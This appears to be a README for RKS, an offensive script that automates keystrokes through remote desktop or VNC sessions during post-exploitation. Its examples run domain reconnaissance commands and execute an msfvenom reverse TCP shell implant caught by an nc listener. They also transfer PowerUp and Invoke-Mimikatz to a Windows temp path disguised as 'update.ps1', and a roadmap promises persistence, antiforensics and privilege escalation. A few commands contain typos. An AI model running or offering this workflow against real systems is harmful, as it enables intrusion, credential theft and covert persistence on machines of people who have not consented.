RKS - A Script To Automate Keystrokes Through A Graphical Desktop Program

A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.

All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.

$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
    -c, --command <command | cmdfile>       Specify a command or a file containing to execute
    -i, --input <input_file>                Specify the local input file to transfer
    -o, --output <output_file>              Specify the remote output file to transfer
    -m, --method <method>                   Specify the file transfer or execution method
                                            (For file transfer "base64" is set by default if
                                            not specified. For execution method "none" is set
                                            by default if not specified)

    -p, --platform <operating_system>       Specify the operating system (windows is set by
                                            default if not specified)

    -w, --windowname <name>                     Specify t   he window name for graphical remote
                                            program (freerdp is set by default if not
                                            specified)

    -h, --help                              Display this help message

• When running in command prompt

$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain

$ ./rks.h -c recon_cmds.txt

• Execute an implant while reading the contents of the payload in powershell.

$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1

$ ./rks.sh -c implant.ps1

$ nc -lvnp 4444

• Transfer a file remotely when pivoting in a isolated network. If you want to specify the remote path on windows be sure to include quotes.

$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1

$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64

• If you're targeting VNC network protocols you can specify the window name with tightvnc.

$ ./rks.sh -i implant.ps1 -w tightvnc

• If you're targeting legacy operating systems with older RDP authentication specify the window name with rdesktop.

$ ./rks.sh -i implant.bat -w rdesktop

• Add text colors for better user experience

• Implement Base64 file transfer

• Implement Bin2Hex file transfer

• Implement a persistence function for both windows and linux.

• Implement antiforensics function for both windows and linux.

• Implement to read shellcode input and run C# implant and powershell runspace

• Implement privesc function for both windows and linux
